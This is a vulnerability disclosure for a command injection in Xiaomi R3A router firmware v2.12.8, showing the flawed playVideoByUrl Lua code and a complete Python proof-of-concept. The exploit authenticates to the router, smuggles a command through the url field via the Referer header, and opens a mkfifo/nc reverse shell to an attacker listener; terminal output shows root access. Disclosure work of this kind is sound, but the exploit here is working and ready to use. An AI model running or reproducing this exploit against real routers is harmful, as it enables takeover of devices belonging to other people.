

# Xiaomi R3A V2.12.8 command injection

## Product Information

```
1 Vendor of the product: xiaomi
2 Product: R3A
3 Firmware Version: v2.12.8
4 Manufacturer's website information: https://www.mi.com/
5 Firmware download address :
  https://bigota.miwifi.com/xiaoqiang/rom/r3a/miwifi_r3a_firmware_8de62_2.12.8.
  bin
```

### 2.12.8

韌體/固件 : miwifi\_r3a\_firmware\_8de62\_2.12.8.bin

大小 : 6.0MB

載點 : [下載](#) ([下載到小米路由](#))

## Affected component

Affected the function `playVideoByUrl` in the file of `/usr/lib/lua/xiaoqiang/util/XQMitvUtil.lua`.

## Suggested description

Xiaomi R3A V2.12.8 was discovered to contain a command injection vulnerability via the `playVideoByUrl` function.

## Vulnerability Details

The `requestMitv` function calls the `request` function in `xiaoqiang.util.XQMitvUtil`. When the value of the `command` parameter is `video_playurl`, it calls the `playvideoByUrl` function. However, there is no security check on the `url` parameter, which allows for arbitrary command execution.

```
59 function requestMitv()
60     local payload = LuciHttp.formvalue("payload")
61     local MitvUtil = require("xiaoqiang.util.XQMitvUtil")
62     LuciHttp.write(MitvUtil.request(payload))
63 end
```

```

47 function request(payload)
48   -- payload example : { "mac|ip" : "", "command" : "keyevent", "keycode" : "left" }
49   if payload == nil then
50     return Error3
51   end
52
53   local params = JSON.decode(payload)
54   if params == nil then
55     return Error3
56   end
57   local ip = params.ip
58   if ip == nil then
59     if params.mac == nil then
60       return Error3
61     end
62     -- get ip from mac
63     local DeviceUtil = require("xiaoqiang.util.XQDeviceUtil")
64     local devices = DeviceUtil.getDHCPSDict()
65     local item = devices[params.mac]
66     if item == nil then
67       return Error3
68     end
69     ip = item.ip
70   end
71   if not string.match(ip, "^%d+.%d+.%d+.%d+$") then
72     return Error3
73   end
74
75   if params.command == "isalive" then
76     return isalive(ip)
77   elseif params.command == "keyevent" then
78     return control(ip, params.keycode)
79   elseif params.command == "video playurl" then
80     return playVideoByUrl(ip, params.url)
81   elseif params.command == "video playmediaid" then
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125 function playVideoByUrl(ip, url)
126   local cmd = "curl -s -k \"http://%s:6095/video?action=play&url=%s&clientname=miwifi\""
127   local result = DoExec(string.format(cmd, ip, url))
128   return castMitvResult(result)
129 end

```

## PoC

[https://github.com/JZP018/vuln03/blob/main/xiaomi/R3A/playVideoByUrl/CI\\_xiaomi\\_R3A\\_playVideoByUrl.py](https://github.com/JZP018/vuln03/blob/main/xiaomi/R3A/playVideoByUrl/CI_xiaomi_R3A_playVideoByUrl.py)

```

1 import sys
2 import requests
3 import hashlib
4 import time
5 import random
6 def createnonce(mac):
7     return f'0_{mac}_{int(time.time())}_{random.randint(0,9999)}'
8 def oldPwd(pwd, nonce):
9     key = 'a2ffa5c9be07488bbb04a3a47d3c5f6a'
10    return hashlib.sha1(f"{nonce}
{hashlib.sha1((pwd+key).encode()).hexdigest()}.encode()).hexdigest()
11 def doLogin(ip, deviceId, pwd):
12    url = f"http://{ip}/cgi-bin/luci/api/xqsystem/login"
13    nonce = createnonce(deviceId)
14    data = {"username": "admin", "password": oldPwd(pwd, nonce), "logtype":
"2", "nonce": nonce}
15    try:
16        resp = requests.post(url, data=data, timeout=60)
17        return resp.json()['token']
18    except requests.exceptions.RequestException as e:

```

```

19         print(f"Login failed: {e}")
20         sys.exit(1)
21     def genDeviceId():
22         return ":".join(f"{random.randint(0,99):02d}" for _ in range(6))
23     def request_mitv(ip, lip, lport, tok):
24         url = f"http://{ip}/cgi-bin/luci/stok=
{tok}/api/xqsmarthome/request_mitv"
25         payload = {"payload":
'{"ip":"127.0.0.1","command":"video_playurl","url":"$(eval$IFS$HTTP_REFERER)
"}'}
26         headers = {"Referer": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/ash -i
2>&1|nc {lip} {lport} >/tmp/f"}
27         try:
28             requests.post(url, data=payload, headers=headers, timeout=10)
29         except requests.exceptions.Timeout:
30             print("Payload delivered (timeout expected)")
31     def main():
32         if len(sys.argv) != 5:
33             print("Usage: exp.py wifipwd ipaddress lip lport")
34             return
35         wifipwd, ip, lip, lport = sys.argv[1:5]
36         print("[+] Starting exploit...")
37         token = doLogin(ip, genDeviceId(), wifipwd)
38         print(f"[+] Obtained token: {token}")
39         time.sleep(2)
40         request_mitv(ip, lip, lport, token)
41         print("[+] Exploit payload sent. Check your listener.")
42     if __name__ == '__main__':
43         main()

```

We can obtain the shell of the router through this PoC and execute arbitrary commands.

Vulnerability Triggering Video: [https://github.com/JZP018/vuln03/blob/main/xiaomi/R3A/playVideoByUrl/Ci\\_xiaomi\\_R3A\\_playVideoByUrl.mp4](https://github.com/JZP018/vuln03/blob/main/xiaomi/R3A/playVideoByUrl/Ci_xiaomi_R3A_playVideoByUrl.mp4)

The screenshot shows a terminal window with the following content:

```

(kali@kali)~/firmware_unpack/xiaomi/R3/R3A
$ python CI_xiaomi_R3A_playMusicByUrl.py 12345678 192.168.31.6 192.168.31.166 9001
[*] Starting exploit...
[*] Obtained token: da4dc1bc9bf7203f6061a47a2af5a58c

(kali@kali)~/firmware_unpack/xiaomi/R3/R3A
$ nc -l -p 9001
listening on [any] 9001 ...
connect to [192.168.31.166] from (UNKNOWN) [192.168.31.6] 12771
/bin/ash: can't access tty; job control turned off

BusyBox v1.19.4 (2017-06-05 11:05:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www/cgi-bin # id
uid=0(root) gid=0(root)
/www/cgi-bin #

```